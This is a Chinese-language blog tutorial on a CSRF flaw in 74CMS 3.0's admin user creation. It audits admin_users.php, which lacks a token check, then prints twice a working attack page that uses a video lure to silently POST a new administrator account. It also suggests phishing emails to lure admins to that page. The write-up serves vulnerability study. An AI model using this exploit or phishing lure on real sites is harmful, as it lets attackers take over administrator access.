74CMS 3.0 CSRF漏洞

一、 启动环境

1.双击运行桌面phpstudy.exe软件
在这里插入图片描述
2.点击启动按钮,启动服务器环境

二、代码审计

1.双击启动桌面Seay源代码审计系统软件
在这里插入图片描述
2.因为74CMS3.0源代码编辑使用GBK编辑,所以首先需要先将编码改成GBK
在这里插入图片描述
3.点击新建项目按钮,弹出对画框中选择(C:\phpStudy\WWW\74cms),点击确定

漏洞分析

1.点击展开左侧admin目录,在弹出的下拉列表中双击admin_users.php页面,右侧页面可以看到相关代码。

elseif($act == 'add_users_save')
{
	if ($_SESSION['admin_purview']<>"all")adminmsg("权限不足!",1);
	$setsqlarr['admin_name']=trim($_POST['admin_name'])?trim($_POST['admin_name']):adminmsg('请填写用户名!',1);
	if (get_admin_one($setsqlarr['admin_name']))adminmsg('用户名已经存在!',1);
	$setsqlarr['email']=trim($_POST['email'])?trim($_POST['email']):adminmsg('请填写email!',1);
	if (!preg_match("/^[\w\-\.]+@[\w\-\.]+(\.\w+)+$/",$setsqlarr['email']))adminmsg('email格式错误!',1);
	$password=trim($_POST['password'])?trim($_POST['password']):adminmsg('请填写密码',1);
	if (strlen($password)<6)adminmsg('密码不能少于6位!',1);
	if ($password<>trim($_POST['password1']))adminmsg('两次输入的密码不相同!',1);
	$setsqlarr['rank']=trim($_POST['rank'])?trim($_POST['rank']):adminmsg('请填写头衔',1);
	$setsqlarr['add_time']=time();
	$setsqlarr['last_login_time']=0;
	$setsqlarr['last_login_ip']="从未";
	$setsqlarr['pwd_hash']=randstr();
	$setsqlarr['pwd']=md5($password.$setsqlarr['pwd_hash']);		
	if (inserttable(table('admin'),$setsqlarr))
	{
		$link[0]['text'] = "返回列表";
		$link[0]['href'] ="?act=";
		adminmsg('添加成功!',2,$link);
	}
	else
	{
	adminmsg('添加失败',1);
	}	
}

其中当获取的act参数为add_users_save时,执行添加管理员操作。代码段第一行首先检查当前用户是否权限添加,如果没有权限则直接终止掉下面紧接着进入添加管理员操作,最后将setsqlarr数组执行inserttable操作,将管理员插入数据库。中间并没有检查用户来源操作,如:Token、验证码等。

漏洞利用

1.首先需要构造一个攻击页面,由于添加用户需要POST发送数据,所以不能通过简单执行GET请求,需要在攻击页面执行Ajax请求,异步发送数据。
2.攻击JavaScript代码

<script>
        function  add() {
            var  xmlhttp = new XMLHttpRequest();
            var  xmldata = 'admin_name=zhangsan3&email=5454695%40qq.com&password=123456&password1=123456&rank=1qi&submit3=%CC%ED%BC%D3';
      xmlhttp.open('POST','http://192.168.91.136/74cms_Home_Setup_v3.0.0/upload/admin/admin_users.php?act=add_users_save',true);
            xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
            xmlhttp.withCredentials='true'; //跨域请求是否提供凭证
            xmlhttp.send(xmldata);
        }
</script>

HTML展现页面

<body "add()">
    <img src="3333.gif">
<!--    <video width="544" height="960" controls>-->
<!--        <source src="3333.gif" type="video/mp4">-->
<!--        您的浏览器不支持 HTML5 video 标签-->
<!--    </video>-->

</body>

3.诱导管理员访问该页面可以使用钓鱼邮件,网站发送建议等。
在这里插入图片描述
访问以后用户看到就是普通一段视频,但是Ajax已经异步把数据提交到后台。
在这里插入图片描述
登录后台发现,已经成功添加zhangsan这个用户
在这里插入图片描述

完整代码
CSRF.php

<html>
<head>
    <meta charset="utf-8">
    <title>欢迎看片</title>
    <script>
        function  add() {
            var  xmlhttp = new XMLHttpRequest();
            var  xmldata = 'admin_name=zhangsan3&email=5454695%40qq.com&password=123456&password1=123456&rank=1qi&submit3=%CC%ED%BC%D3';
            xmlhttp.open('POST','http://192.168.91.136/74cms_Home_Setup_v3.0.0/upload/admin/admin_users.php?act=add_users_save',true);
            xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
            xmlhttp.withCredentials='true'; //跨域请求是否提供凭证
            xmlhttp.send(xmldata);
        }
    </script>
</head>
<body "add()">
    <img src="3333.gif">
<!--    <video width="544" height="960" controls>-->
<!--        <source src="3333.gif" type="video/mp4">-->
<!--        您的浏览器不支持 HTML5 video 标签-->
<!--    </video>-->

</body>
</html>

posted @ 2018-12-27 19:31  浅笑996  阅读(414)  评论(0编辑  收藏  举报